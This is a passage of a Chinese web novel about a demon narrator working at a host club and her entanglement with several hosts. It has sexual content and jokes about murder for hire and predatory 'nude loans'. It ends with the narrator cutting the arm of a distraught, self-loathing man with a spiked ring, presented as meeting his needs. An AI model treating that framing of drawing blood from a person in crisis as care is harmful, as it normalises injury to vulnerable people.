邛浚眨巴下眼睛,嘴边弧度不变,意味深沉地说:“原来是这样?啊……赚钱应该不行,但你可以?付费得到快乐。” “那我不要。” 我摆摆食指,说:“没钱没好处的事?我不做。” “哎呀,那我们想法一样?呢。” 他换了个姿势,岔开腿随意地坐着,一只手撑着下巴,扫眼旁边热闹的景象,饶有兴趣道:“还不知道小姐你的名字呢,难得遇到同道中?人,可以?告诉我·你的名字吗?” 我喝了口饮料,“栾水冬。” “栾……嘶。”邛浚歪了下脑袋,思索道,“没听过诶,不过水冬很好听。” “栾水冬。” 他又念了一遍,吐字清晰,像咬下一颗苹果般干脆,朝我扬起嘴角:“你的名字真好听。” “我的名字就不如你了。” 他说:“邛浚,浚是三点水,我们的名字里都带点水,真有缘啊。” 邛浚东扯西扯,说了一堆关于缘分的事?,然后图穷匕见,问我最近有什么?麻烦,有麻烦可以?找他,他什么?都能解决。 我:“人也可以??” “哦?此?话怎讲?”邛浚眼睛一亮,身体向前倾。 “泉卓逸。”我说,“他很麻烦。” “这个啊……”他摸摸下巴,赞同地点头,“你想清蒸还是红烧呢,像这种可恶的角色,我觉得沉湖底不错,但是很麻烦呢,他的身份,做掉他的话要出国躲一阵才行。” 我也眨巴眼睛,好奇地问:“他什么?身份?” “羊水好的身份。” 邛浚爽快地笑了下,眼下那颗痣明晃晃的,他皮肤很白,脸上的痣错落有致,尤其是脸颊上两?颗,标志对称。 “真想做掉他?”邛浚竖起手指,格外认真地看着我,“五百万。” “五个月工资。” 我砸吧下嘴,说:“还让他工作五个月自然死掉吧。” “哎呀。” 他弯起眼睛:“原来是舍不得啊。” “看来你们很熟呢,泉二也交到朋友了,真好啊,我还以?为?他当男公?关后再也没脸交朋友。” 他笑得格外清爽,但说的话却很刺耳,我感受到有视线落在脸上,再看过去时,他正眯着眼睛摸着下巴,不知道在想什么?。 我:“你讨厌他?” 邛浚眨巴眼睛,弯起眼睛,笑得格外无辜:“怎么?会?呢,我也是泉二的好朋友呀。” “我只是好奇,原来他也会?交朋友,而且他的朋友还和宗老板关系很好。” 他摇头晃脑,抬眼看向我,勾着唇角说:“也和我交个朋友吧。” 邛浚翻手变出一张名片,夹在手指上,递到我面前,眨了下左眼:“我帮你找回来了。” 他大概是看到我丢垃圾桶了。 我接过名片。 他捧着脸笑容不变,怡然自得地哼歌,但视线钉在名片上,重量十足。 我想了想,打开手机输入号码,一边添加,一边说:“你不可能从我这薅得到钱的,唯一获得钱的方式只有——” 他的眼睛噌亮,充满了好奇:“只有什么??” 我顺手转发裸贷链接给他,又把名片甩了回去。 “处男应该更好贷款。” 邛浚的视线顿住,热度和重量全部积压在我的脸上,顷刻间笑容更盛,视线近乎咄咄逼人。 他弯起眼睛,视线移到名片上,感慨道:“看来我们超有缘哦。” 话音刚落,隐约闻到丝丝缕缕的甜,我尝了一口,舌尖感受到冒气泡般的刺激。 这味道……是可乐吗? 我正细细品尝着。 “原来你在这。” 身后传来脚步声。 泉卓逸朝我们走?来,表情十分不爽,瞪向坐在我面前的人,毫不客气地说:“别跟贱货说话啊。”—— 作者有话说:我有那个癖好,你们懂吗?中国人骨子里的救风尘啊……只可意会不可言传[眼镜] 写得有点伤了,啥时候男友登场,我想看男人伤心 第35章 “贱货说谁呢?” 邛浚无?辜地指着自己:“我吗?” “你心里清楚。” 泉卓逸说完, 才意识到他话里的坑,瞬间拧紧眉,怒气冲冲朝我走来,拉着我的手臂, 要把我拖走。 我立马闪躲, 跳到沙发另一边, 泉卓逸的手抓空了,隐隐咬住后槽牙,压低声音说:“我只?想和你说句话。” 我:“在这也可以?说啊。” 泉卓逸看向稳坐如?山的邛浚。 后者拍了拍身上的褶皱,朝他笑了下, 歪头问?:“怎么了?还有什么话说?” “赶紧滚。” 泉卓逸对?他没有好脸色,攥紧拳头,满脸戾气:“要我请你吗。” “真没素质。”邛浚起身, 越过他向我眨了下眼睛,笑容爽朗,“那我们手机上聊。” 他起身的时候,泉卓逸身体紧绷, 像随时会暴起,但忍住了,等到邛浚转身离开,他才松开握紧的拳头, 缓慢地转身面向我。 “你……”他仍然皱着眉, 艰难地开口, “我们不要冷战了好不好。” 泉卓逸软声说话时, 自己也感到别扭,像是不适应自己的身体似的,抬手解开几颗扣子, 他今天?穿得正式了些,衬衫外面穿着宽松的外套,前面垂着领带,被他凌乱地解开。 他挽起袖子,浑身充斥着烦躁的气息。 真奇怪。 明明和客人说话的时候不是这幅模样。 问?题要从源头解决,关键是他的怪癖。 我:“你别让我咬你了,我又不是狗。” “……不咬。” 下了床他正常许多?,那种狂热、过于?兴奋的急躁感消失殆尽,他的脸上涌起难堪的红,闷声凑到我身边,勾起我的手指,“我只?是想和你更亲近点。” 戒指磕碰到我的手指,他少戴了几个,但无?名指上那个五金的没摘。 泉卓逸这人就很?奇怪,有钱有病,想法还乱七八糟。 按理说跑友不是不用负责的关系吗?为什么要变得亲近,难不成他来真的? 我瞬间警惕,质疑道:“要变得多?亲近你才满意?别告诉我你想要谈恋爱,我不玩那个。” 谈恋爱要肩负起听心事?、日常管理以?及固定相处等种种麻烦事?,而且人类还会反悔!我绝对?不玩。 “什么叫做玩啊,我压根没有想过和你谈——” 他把话咬碎在后牙槽里,郁闷地垂着眼,浓密的睫毛乱颤,“……谈恋爱。” 空气安静下来。 “难道……” 泉卓逸有些难过地看着我:“我们不算在谈恋爱吗?” 算个上帝啊,都说了是跑友! 我坚决地摇了摇头,也是一脸疑惑:“不知道你怎么想的,你应该是想错了,我最开始不是说了吗,而且是你自己说过的,太快了,才认识多?久,为什么你要跟我谈恋爱,我不能接受。” 我拿他的话应付他,泉卓逸的脸色瞬间难看,脸色难看,变换一阵后,竟然说:“是我说的没错……但我不能收回吗?” “……” 人类突破下限了! 我更加用力地摇头,浑身上下表示拒绝,“不能。我不想。” 恶魔和人的思维有一条鸿沟,说的每个字我都懂,但是组合在一起就不明白?了。 我看着他,问?:“现在也没什么区别啊,你到底想做什么?” 泉卓逸埋下头,陷入沉默中。 他不说,那我也不说。 我掏出手机浏览起来,发现邛浚刚走就给我发消息了。 [邛浚(小心诈骗)]:吵架了? [邛浚(小心诈骗)]:泉二还是一如?既往不懂事?啊,竟然胡搅蛮缠,要小心哦,他可能有超雄 [邛浚(小心诈骗)]:(诶嘿敲头.jpg) 超雄吗? 我思考着。 比起我见过的超雄非生物?,泉卓逸小菜一碟,没有当场杀人、开大招毁灭整座城市、也没有发狂要把我推进时空洞里。 生闷气似乎显得平平无?奇。 泉卓逸坐在我旁边生气,别着脸,外套隐约遮住他的下半张脸,眉头拧在一起,咬得唇环咔咔响。 因为咬人冷战很?好笑,现在因为谈恋爱生气更搞笑。 所以?他的脑子里到底在想什么? 我叹了口气,觉得自己永远也搞不懂。 旁边骤然爆发欢呼声。 一个男公关站上站台,脱掉外套露出结实的胳膊,正在钢管前搔首弄姿,前面的女生打开香槟,喷涌而出的酒水浇在男人头上,现场气氛更上一层楼,肆无?忌惮地展示欲望。 男公关向前伸出手,岔开大腿跪在钢管前,女生一脚踩上去,隐约可见她勾起的唇角,甩下红色钞票。 不那个瞬间,她踩着的男公关身上迸发强烈的情绪。 空气中漂浮着无形的、浓烈的情绪。 比起平时,他们还要更疯狂一点,情绪在空气中滚动,赤裸地彰显存在感,三楼如同晃动的香槟酒瓶,随时等着爆发出欢呼声。 我在群魔乱舞里寻找熟人,看到被拉着讲话的哥哥,但没看到浦真天?,心想他可能喝多?去厕所吐了。 他的酒量不好,哥哥也一般。 全场酒量的最好的应该是我,恶魔我啊,可是千杯不醉。 哥哥耐心地听着旁边的人讲话,隔着不近的距离,他放在膝盖上的手指,拇指正在磨蹭着西?装裤,光照在他的脸上,有个瞬间冷漠陌生,如?同一座雕像。 阴影覆盖在相似的五官上,晃动的光舔舐而过,他的笑容一成不变,但恰到好处。 忽然觉得有点饿了。 我舔了下唇。 等我转回头,泉卓逸还埋着头,身体隐秘地颤抖着,像遭受无?声的折磨似的,发不出一点声音。 我推他一下,问?:“你不去工作吗?” “……不想去。”他的脸色苍白?,焦躁干渴地吞咽唾液,固执地说。 泉卓逸的手肘放在大腿上,两只?手盖着自己的脸,像埋进壳里一样,防御性?地在我旁边蜷缩。 我盯着他的头顶看,想穿过头盖骨看看他在想什么。 时间一点点流逝。 我打了个哈欠,嘀咕道:“你真奇怪。” “刚开始拉客那么主动,还对?浦真天?生气,难道不是因为销量吗?怎么他现在还踩在你头上,你也不在乎了?你不是要跟他争吗?” “没意思。” 略显沙哑的声音响起,情绪波动不平,剧烈起伏着,他控诉般说道:“不过也是讨好别人罢了,男公关……呵,没人看得起。” “我看得起啊。” 我说:“能赚钱不就好了吗?” 像男公关这种轻松的职业,他们不应该很?开心吗?靠着哄别人就能赚大钱,上工地搬砖才累人吧。 在没找到工作前,哥哥在工地里干过一段时间,那段时间是他最黑的时候,每天?早出晚归,我去工地上找他,尘土飞扬,差点没被呛死。 而且老师也说,找不到工作就去搬砖,工地才是最苦的吧。 泉卓逸情绪激烈地反驳:“我不需要钱,我要的不是它?!” “那你想要什么?”我疑惑不解。 泉卓逸抬起头,眼底隐约浮动着水光,眉头紧皱,自己也搞不清楚在生什么气,困惑又愤怒。 他长得好看,这幅模样可怜巴巴,如?果让客人看到的话,应该会给打赏吧。 只?可惜他吐露心声的人员找错了,应该找那边欢呼的人,而不是找我。 我不能理解他的痛苦,也不懂他在生什么气。 但他难过的模样,像乱成一团的毛线,我饶有兴趣地看着他混乱不堪,额头隐约浮现出青筋,呼吸急促,手掌抓住领口。 他咬住唇环,过于?用力,咯嘣一下竟然咬断了。 我愣了一下,指着地上的碎片说:“五金的。” 真金的会断? 泉卓逸一把扯下唇环,烦躁地抓着头发,身体颤抖,脸颊涌上病态的红,他抓挠着后脖颈,呼吸愈发仓促,断断续续的, “……我不知道,我真的不知道!” 他猛地侧过头,痛苦地看着我,说话时舌钉一闪而过,他买的是绿猫眼,比眼睛的颜色更亮,脖颈上腾起青筋,凸凸地跳动着,像快要爆开一样。 这个时候,他竟然还在问?我。 “为什么?我也不懂知道,为什么会痛成这样,我不想当跑友……可是我想要什么……我到底想要什么,你知道为什么吗?你能告诉我吗?” 泉卓逸颤抖地靠近我,攥住我的手腕。 我摸了下他的头,触感硬硬的,大概是发胶,“我不知道。” 他的眼角流下一滴泪,表情痛苦,赤裸地袒露着痛苦,呢喃般说:“怎么办?我好难受。” 我:“去医院检查下吧。” 精神病、性?瘾或者什么,让医生解决吧。 听到我的话,泉卓逸瞬间熄火了,紧绷的身体倒下,头磕在我的腿上,陷入发疯结束的余韵中,眼神虚虚地盯着我。 看了一会,他抬手摸我的头发。 “你喜欢浦真天?吗?” 关他什么事?呢?但我还是回答了。 “挺喜欢的。” 很?笨,很?好玩。 泉卓逸气笑了,咧开嘴笑,毫不客气地嘲讽道:“我真是贱。” 他说话时睫毛湿漉漉的,粘成一缕缕的,鼻子呼吸不顺,微微张开嘴,绿色的光微弱地亮着,吸引我往他的嘴里看去。 我握着他的下巴,好奇地说:“张开嘴看看。” 泉卓逸顶了下腮帮,额头青筋冒起,但还是张开嘴,露出一截舌头,绿色的宝石打在中间,随着舌头起伏着。 打完舌钉后,我们开始冷战,所以?不知道用起来什么样。 我低头吻了上去。 泉卓逸睁大眼睛,呼吸局促而猛烈,他勾住我的脖子,像渴望水的人,迫切地吞咽着,发疯般舔舐着我的上颚。 密密麻麻的痒意传来,他习惯性?地用手摸我的腰,戒指冰冷生硬。 这个吻开始容易,结束不太容易。 我费了好劲才从他的唇齿中脱离,耳边中响起啵的一声,涎液的亮光闪过。 他紧盯着我,眼眶泛红,瞳孔缩成小孔,更是只?野性?十足的动物?。 舌钉的触感嘛……有点奇怪,凉凉的,偶尔磕碰到牙齿,咬住的话,泉卓逸会发出一声痛呼,呼吸更加仓促。 还有一点。 拉丝似乎变长了。 “哐当。” 耳边传来响动。 我转头往后看去,撞进棕色的眼睛里。 浦真天?愣在原地,不知道该做什么,屏住呼吸看着我—— 作者有话说:拙拙将承担很长一段时间的卖肉角色 其他人赶紧上桌啊……给我又争又抢啊!(无力) 第36章 “怎么了……”泉卓逸不?满我的动作, 抬头看去,正好撞上浦真天往后退的动作,他翻身坐起来?,眉眼压低, 透露出浓重的不?爽。 泉卓逸嗤笑一声, 露出讥讽的神色, 眼看就是要咬人的疯狗样。 他还伸手?想来?拉我,我直接用力推开他,抢先一步发言:“他是叫你上班的,一天到晚只知道摸鱼, 今天晚上出岔子,唯你是问?啊。” 我做足了老?板的姿态,把泉卓逸赶出去, 他离开的时?候咬牙切齿,眼睛像把刀剜在浦真天身上。 至于浦真天,他默默地走了。 要说?我怎么看出来?的呢…… 不?远处宗朔站在沙发边,面无表情看向这边, 背后男模跳舞,他抱着手?臂,身形挺拔,气?势凌人。 哎呀。我在心里念出了邛浚的口头禅。 忘记宗朔也是前十?了, 但之前没有看到他诶, 凭借我恶魔的视力, 看错人什么的绝对不?可?能, 所以这家伙肯定也去摸鱼了! 想到这我挺起胸膛,我的摸鱼是名正言顺、有理有据的,而宗朔则罪该万死, 我摸鱼影响不?到任何人,但宗朔身为男公关,把客人晾在一边,像什么样子。 手?机催命似地嗡嗡震动。 我认命地掏出它?,点开最新?的消息。 [宗贱朔人]:帮我看着? [宗贱朔人]:原来?我在某人嘴里 [世界第一恶魔大人]:我左眼站岗右眼放哨,不?耽误眼睛工作 [宗贱朔人]:眼睛工作,嘴巴放松是吧?说?实在的,我觉得你的工作太轻松,一个?月8000有点多了 他竟然拿工资威胁我?! 我瞬间警觉,全神贯注在工资问?题上。 A市是个?一线城市,占地面积大,虽然发展比其他一线城市来?说?要落后一些,但名头很硬,网上地域歧视只会骂有股老?人味,没人说?一线城市之耻。 所以,作为A市一份子的我有理由、有必要拿到平均工资。 [世界第一恶魔大人]:要涨吗,凑个?整数一万吧 [宗贱朔人]:狮子大开口,你不?怕吃撑啊 我觉得他毫无根据,男公关一个?月能有几百万,我一万怎么了?虽然我什么也没做,但是我一直在看啊。 我默默地注视着所有人。 就像现在,我也在工作。 我看向人群中央的、正在和此次宴会的主?人交谈的男人,他看上去游刃有余,一只手?拿着酒杯,手?机放在腿上,偶尔低头看屏幕,字打得飞快。 他的动作毫不?掩饰,旁边的大小姐竟然毫无反应,没有看出来?这人在摸鱼吗?! 心里倾斜的天平更?加不?平衡了。 [世界第一恶魔大人]:为什么你能工作的时?候摸鱼? [世界第一恶魔大人]:你开隐身了? [宗贱朔人]:你再好好看看呢 我猛然抬头,目光犀利地射向大厅中央,穿过舞动的男模、吹捧的男公关和开心的客人,精准地落在宗朔身上。 此时?他正别着脸和旁边的女性讲话,微微低着头,额前的碎发遮挡住他的面容,嘴角的笑轻挑暧昧,然而他的另一只手?仍然放在腿上,操作着手?机。 很显然,客人没有意识到他正在做什么,全神贯注在讲话上。 这家伙难不?成是八爪鱼……! 我对他是第一的名头有了实感,无论去工作的模样,还是摸鱼的游刃有余,看上去比哥哥和浦真天加起来?还轻松。 他们说?了些什么,旁边的大小姐来?了兴致。好像是要玩游戏,周围的人也凑了过来?,围拢在最大的圆桌边,推开桌上的酒杯,为游戏腾出场地。 我悄咪咪地靠近了点,趴伏在沙发边,无声地偷窥。 “我们来?玩真心话大冒险吧,主?要是玩大冒险,毕竟咱们这也没有什么人想说?真心话。” 苟小姐举起酒杯,脸颊绯红,兴奋地说?:“酒瓶转到谁,瓶口对着的人要听从瓶底正对的人的要求。” 朋友们哗啦啦地鼓起掌,男公关们也不?甘落后,更?用力地拍起手?。 有个?男模坐在大小姐旁边,在她耳边说?了些什么,两个?人嬉笑着打闹了一会,眼波流转,等他把酒递到大小姐嘴边,哄着人喝完,大小姐这才把酒瓶横放在桌上,手?指发力,瓶子轻松地转动起来?。 风车般转动的瓶子停住。 我探头看去,发现正对着的是浦真天和泉卓逸。 大小姐愣了一下,半晌后率先笑了起来?,视线落在泉卓逸身上,又看向正对着的浦真天。 她说:“好久不见啊,泉二,怎么样?对面是你同事,肯定不?会为难你,也别臭着脸了,今天可是我的生日。” 泉卓逸手指搭在腿上,闻言冷笑一声,挑起眼皮看向浦真天,说?:“我和他不?熟。” 对面的浦真天也没什么表情,被重视注视着,竟然没有面露局促,而是镇定地看了眼桌面,轻描淡写地说?:“喝酒吧,你把面前这瓶酒喝完。” 桌子上摆放着两瓶酒,一瓶完好如新?,另一边只剩下半点杯底。 大小姐在这两瓶酒里看来?看去,她和朋友们对视一眼,笑意加深,距离酒瓶最近的女性把少的那瓶酒放到桌下,说?:“不?好意思,这瓶酒刚刚被我对口喝过,泉二应该喝不?了。” 大小姐看向另一瓶酒,那边的人把未开封的酒推到泉卓逸面前,打趣道:“你同事对你有点好啊。” 泉卓逸不?吭声,看向浦真天的眼神冰冷,后者冷静地盯了回来?,两个?人都面无表情,其他人起着哄,要他赶紧做惩罚。 泉卓逸一把拿过酒瓶,动作干净利落,径直对着嘴直接灌了进去。 人群爆发出欢呼声,气?氛再次炒热,大小姐兴奋地拍人,把旁边的男公关拍得直不?起腰。 “厉害了,直接对瓶吹。” “不?愧是泉二,性格还是烈啊。” “再来?!下一个?倒霉蛋是谁。” 气?氛热闹非凡,泉卓逸喝完酒,将?瓶子丢到一边,闷头坐下,旁边的女性不?动声色挪动,拉开安全距离。 她们好像有个?共识。 ——泉卓逸随时?可?能发疯。 所以像躲避挠爪子的野猫似的,纷纷避开和他接触。 大小姐重新?转动瓶子,酒精掩盖住暗流涌动,风车转动,寻找下一个?受害者。 浦真天面沉似水,旁边的女性碰了下他的肩膀,他才如梦惊醒,去够旁边架子上的酒。 我没看到哥哥的影子,猜想他去了休息室。 至于宗朔,他正在游刃有余地摸鱼。 手?机震动。我点开最新?消息。 [宗贱朔人]:泉卓逸迟早被你玩死 [宗贱朔人]:你猜今天他要喝多少酒? 关我什么事,我还没玩他呢。 我想了想,打下一行字。 [世界第一恶魔大人]:死在这里算不?算工伤啊? [宗贱朔人]:(大拇指.jpg) 旁边玩得正热闹,一时?半会结束不?了,我又看了会,略感无聊,转过身继续玩手?机。 刷刷短剧,消磨一下时?间。 我正着迷地看经典的打脸剧情时?,新?的消息弹出,遮挡住主?角情绪激动的脸。 [邛浚(小心诈骗)]:她们结束了吗? [邛浚(小心诈骗)]:(探头.jpg) 原来?这个?中介还在。 [世界第一恶魔大人]:还没有,不?过快了 [世界第一恶魔大人]:你人呢?到时?怎么运送这些男模回去? 对面隔了几分钟才回我的消息,他发来?了一张照片,像素很模糊,像是在运动的过程中拍摄的,我仔细地看,发现他正在骑电瓶车,下方露出一只穿着黄色外套的袖子。 [邛浚(小心诈骗)]:对呀 [邛浚(小心诈骗)]:我送完这一单,马上就回来?,应该能赶得上 [邛浚(小心诈骗)]:(小熊跳舞.jpg) 他的表情包格外的可?爱,粉粉嫩嫩的,人也自来?熟,三言两语就像是和我认识许久的朋友一样。 又来?了一个?奇怪的家伙。 当中介还兼职送外卖吗? 这家伙才是真正的八爪章鱼吧。 我点开他的动态,在大量的广告里面找到了少量的生活痕迹,堪称丰富多彩,送外卖、发传单、出席宴会、充当狗仔队…… 他就是那些找工作时?,需求里说?的至少十?年工作经验吧。 我对着他的动态啧啧称奇,又玩了一会手?机,沉浸在短视频带来?的空虚快感之中。 身后的热闹声一阵接着一阵,不?知道何时?,哥哥回来?了,在一群群魔乱舞的、激动的人群之中,冷静得有些突兀。 接近尾声时?,已经快到凌晨三点,邛浚穿着外卖制服走进三楼,笑嘻嘻说?时?间不?早了,租来?的私家车司机已经睡过一觉,也快到订单结束时?间了。 在离开之前,我看到大小姐和宗朔在对话,应该是很满意今天晚上的活动,她拍了拍旁边男公关的肩膀,笑着和朋友一起离开了。 客人们结伴离开,留下满地狼藉。 有些人还能直到走出去,但有些人现在已经醉得不?省人事,毫无行走能力。 比方说?泉卓逸,大概就像宗朔说?的那样,在我把头转过去之后,他又喝了几瓶酒,面前的酒瓶林立,昏迷在沙发上。 没一个?人敢靠近他。 浦真天和哥哥收拾好后叫我回去,我拍拍书包,回头的时?候他仍然躺着,旁边几个?男公关在扫地,困得睁不?开眼睛。 忽然视线被遮挡住。 浦真天正好挡住我的视线,把沙发和泉卓逸挡得严严实实,他没有意识到,摸了下后脖颈,问?我困不?困。 我盯着他,他眨了一下眼睛,有点不?知所措。 既然如此,我觉得应该有人会管泉卓逸。 在去等车的路上,哥哥发现有东西没带,转身回[极乐世界],让我们先走。 我和浦真天一前一后的走着。 “小冬。” 浦真天忽然开口,摸了摸后脖颈,没有回头看,凌晨的街道很安静,他的声音突兀响起:“你和泉卓逸……关系好吗?” 我也开始打哈欠,含糊地说?:“还行吧。” 他嗯了一声,闷闷的。 浦真天骤然停住脚步,黑发下耳朵通红,固执地挺着脊背,后脑勺对着我。 “安全措施你知道吗?我发给你的视频……嗯,如果有空的话,看一下吧,要保护好自己?才行。” 他囫囵地说?完,匆匆往前走。 走了一段路,浦真天发现我没追上来?,又停下来?,呆呆地站在原地,等我慢悠悠地地到他身后时?,他才开始迈步子。 我哈欠连天,走路歪歪扭扭,前面的浦真天犹豫半天,无声递来?自己?的手?臂,我握了上去,像杵拐杖一样靠着他。 凌晨的空气?冰凉,但旁边的人发着热,像个?火炉,时?不?时?抿紧嘴唇,脸颊泛红。 而我在思考一个?问?题。 ——其他的男公关店长什么样呢?—— 作者有话说:前男友还在某地奋斗,一个人青春疼痛中…… 第37章 至于泉卓逸是怎么回去的, 我不知道。 唯一能明确的是,他又莫名销声匿迹了?,单方面只对我。 消息不回,在店里也找不到身影, 像是进入另一个空间, 我和他平行地在店里工作着, 如果不是偶尔闻到的甜蜜气息,我可能以为他辞职跑路了?。 这家伙在躲避我。 ——原因未知。 介于他本来就是个奇怪的人,所以在他没回我第三条消息后,我秉承着事?不过三的原则, 彻底放弃突破平行时空,反正一时半会?身体?还起不了?反应。 宗朔时不时在耳边念叨几句,说?他工作不积极, 已经多次旷工,导致客人投诉,甚至控制不住给客人甩脸子,毫无服务态度, 业绩直降谷底,下?个月的排行榜说?不给会?掉出前?十。 他不工作,有?的是人往上顶。 他说?这话时,睨了?我一眼?, 轻飘飘地说?:“他要?是真?死了?, 你会?伤心吗?” 我:“他还活着呢。” 他要?是死了?, 我得换个跑友。 说?真?的, 我不懂为什么宗朔会?拒绝我,他做事?全凭心情,上班不积极, 经常一副懒散怕麻烦的模样,但对于我的要?求,仔细想想,他没有?直接拒绝过。 或者?说?,最后我都达成了?目的。 到底为什么呢? 我打算找个时间当面质问?他,难不成真?是因为不是处男,自卑了?吧? 这家伙虽然跟泉卓逸很熟,但又对他漠不关心,随时把死挂在嘴边,像是笃定他会?做出极端的事?情一样,任由事?态往糟糕的方向发展。 隔岸观火的姿态很是亲切。 对于他们的关系,有?个人很有?发言权。 刚成为社?交列表不久的、网名[AAAAA代一切]的自来熟邛浚。 我每天都会?收到他群发的广告,早中晚各一条,朋友圈动态也被各种广告刷屏,昨天还在宣传私人钓鱼场地,今天就成了?外卖红包优惠券补助神奇。 刷完短剧,我躺在办公室的椅子上,百无聊赖点开和他的聊天框。 [世界第一恶魔大人]:你知道泉卓逸到底有?什么精神病吗? [世界第一恶魔大人]:无偿 对面回复得极快,先是发来一张照片,随手拍的,在某栋高楼大厦里,露出穿着崭新的运动鞋,和被背景里的建筑一点也不贴合,露出的衣角是美团的黄色。 大概是在送外卖。 [邛浚(小心诈骗)]:无偿聊天吗?那我赚到了? [邛浚(小心诈骗)]:我还以为他告诉你了?呢 [邛浚(小心诈骗)]:(小熊歪头.jpg) [世界第一恶魔大人]:你知道吗? [邛浚(小心诈骗)]:知道哦 [邛浚(小心诈骗)]:200 [世界第一恶魔大人]:呵也不是很想知道 [世界第一恶魔]:就让他不明不白地死了?吧 [邛浚(小心诈骗)]:哎呀 [邛浚(小心诈骗)]:看来形势很严峻啊 [邛浚(小心诈骗)]:(小熊跳舞.gif) 他发来的表情包是同一套,棕色的小熊眼?睛圆圆,穿着舞裙可爱地转圈,小花花也在头顶旋转。 我觉得泉卓逸可能人品不好,怎么一个两个都像盼着他死一样? 泉卓逸可能真?的要?成为新闻里死在酒店的无名男了?,或许不久之后会?有?讲悬疑故事?的博主来挖取他的过去,到时候我就能懂他为什么总是无缘无故说?梦话了?。 我正在思考那时会?不会?有?我的照片,博主指着我说?这就是压垮骡子的最后一根稻草,长相?完美至极的女人,现在她已经是千万富翁,手下?有?八栋豪宅,二十辆豪车…… 手机振动把我拉回现实。 [邛浚(小心诈骗)]:如果你猜对我在做什么,我就告诉你他有?什么病 [邛浚(小心诈骗)]:来玩个游戏吧 [邛浚(小心诈骗)]:(小熊星星眼?.jpg) [世界第一恶魔大人]:不玩 [世界第一恶魔大人]:反正除了?我没人在意他的死活 我在内心为他哀悼,好好一个跑友刚到手就要?飞走,可悲啊,实在可悲。 [邛浚(小心诈骗)]:哎呀 [邛浚(小心诈骗)]:太可怜了? 对面又发来一张照片。 照片里长相?清爽的男生手里举着外卖袋子,笑容阳光灿烂,脸上三颗痣标准明显,隐约可见背后有?一群正在开会?的人,表情震惊地看向他。 [邛浚(小心诈骗)]:我在送外卖呢 [邛浚(小心诈骗)]:没想到你这么关心他,那我就告诉你吧 [邛浚(小心诈骗)]:你知道抖M吗? [邛浚(小心诈骗)]:他应该是发狂的抖M [世界第一恶魔大人]:…… 抖M也是精神疾病吗?总要?有?个专业术语吧,比如说什么斯前面的记不住后面的忘了?综合征吧。 [邛浚(小心诈骗)]:他是不是喜欢疼? [邛浚(小心诈骗)]:他是不是想你打他? [邛浚(小心诈骗)]:全中,bingo! [邛浚(小心诈骗)]:(小熊跳舞.gif) [世界第一恶魔大人]:这算什么秘密,所有?人都知道好吧! 就他打那么多钉子,演都不演了?。 [邛浚(小心诈骗)]:小心被缠上哦 [邛浚(小心诈骗)]:这类人可是很难满足的 [邛浚(小心诈骗)]:不停地折磨自己,折磨身边的人,直到把所有?的事?变得一团糟,像他这样的人死或许是一种解脱呢 [邛浚(小心诈骗)]:活得很浪费空气呢 [邛浚(小心诈骗)]:(偷笑.jpg) 是我的错觉吗?这家伙的恶意快要?溢出了?。 [世界第一恶魔大人]:他不是你的钱包吗? [邛浚(小心诈骗)]:你怎么知道? [邛浚(小心诈骗)]:(诶嘿敲头.jpg) [世界第一恶魔大人]:他死了?的话,总觉得损失很大 他也是我的钱包啊,哎,要?是死掉的话,跑友和钱包都没有?了?……好亏。 [邛浚(小心诈骗)]:哈哈哈 [邛浚(小心诈骗)]:放心吧,他还死不了? [邛浚(小心诈骗)]:要?是觉得他烦,就让他自己拿拖鞋拍拍呗,上网学学改花刀也行啊,再不济多打几个洞 他又发来一张照片,应该是上了?面包车,坐在后面灯光昏暗,像是被绑架似的。 [邛浚(小心诈骗)]:我要?进山了?,网不好,下?次再聊 [邛浚(小心诈骗)]:(小熊跳舞.gif) 我看着这张昏黑的照片,再看下?面可爱的小熊表情包,品出一点奇妙的反差感。 不知不觉和自来熟聊了?许久,让我莫名觉得无比熟悉,这种感觉……就像内裤一样。 臭味相?投啊。 晚上,泉卓逸再次旷工,宗朔已经懒得派人找,前?来预约的客人被另一位笑容真?切的男公关引走,虽然不爽,但客人还是接受了?补偿,拉着平替版泉卓逸开酒享受。 真?的泉卓逸业绩再次遭受重击。 他真?就不赚钱了?吗? 我走到三楼,推开天台门,果不其然找到在角落里发霉的人。 像上次一样,他靠在栏杆边,等我走过去,别了?下?脸,头埋在手臂上。 我看了?下?他的手,发现他果然什么也没戴,耳朵上什么也没有?,脖子后面有?点红,抓挠过几次。 “你的客人被抢走了?。” “……” “业绩跌出前?十,距离浦真?天越来越远。” 我叹气道:“你的工资要?变成三千底薪了?。” “……我不在乎。”他穿着单薄的卫衣,反手戴上帽子,冷酷地说?:“他们想抢就抢吧,我不稀罕。” “真?搞不懂你。” 我注视着黑乎乎的帽子,他弓着背,卫衣空落落的,像颗长歪了?,或者?说?被压弯的树。 “有?钱不赚,这就是家里富的底气吗?” 不知道怎么刺痛到他,泉卓逸搭在栏杆上的手霎时收紧,青筋凸起,指节泛白,从牙齿间挤出含恨的话,“为什么总要?让我喜欢不喜欢的东西,不是所有?人都想要?钱!” “那你想要?什么?” 他停顿了?,呼吸急促,像找不到方向的困兽,手指攥紧又松开,下?唇咬得发白。 “我什么都不想要?、求你了?,不要?再逼我了?……我就是个没用的废物,我什么也做不好。” 虽然这么说?着,但他抬头看向我的眼?睛晃动着光,下?意识伸手想要?抓住我,像抓住一根救命稻草。 人啊,总是说?相?反的话。 我也不知道他想要?什么,或许是疼痛吧,我也只能给他这个。 我想他大概也是想活着的。 权衡利弊后,我叹了?口气,抓住他的手,盯着他的眼?睛,认真?地说?:“没人在要?求你,我也没有?要?求你什么,你只要?好好地工作就行了?。” 他轻微地挣扎了?一下?,老实地低头看着我,眼?泪啪嗒啪嗒地顺着脸颊往下?流。 我说?:“不要?任性了?。” “既然没有?想要?的,那就按照我说?的做,我让你做什么就做什么,不要?想太多,你只需要?听我的话,其他的东西全部忘掉吧。” “我会?满足你的。” 撒旦啊,我最终还是做了?他的S……只有?这次! 我抓住他的手腕,将衣袖往上捋,露出一段白皙肌肉线条流畅的小臂,翻转到内侧,皮肤下?血管青紫,颜色浅淡,被冷风吹,泛起鸡皮疙瘩。 泉卓逸屏住呼吸,任由我握着手腕。 我拿出放在兜里的戒指,上次他非要?给我的、质地坚硬、造型像是荆棘组成的皇冠。 为什么人会?迷恋上疼痛? 大概是吃太饱吧。 我抓住戒指,尖角按上肌肤,用力往从上划到下?,用了?十足的力度破开皮肉。 泉卓逸猛然握紧手,身体?瞬间僵硬,嘴唇张开,倒吸一口凉气,肌肉紧绷着,身体?处于防御机制,但他抑制住了?,目光失神,任由我在他的手臂上划开细细的伤痕。 他的瞳孔扩散,额头冒出汗珠,失神地盯着流血的手臂。 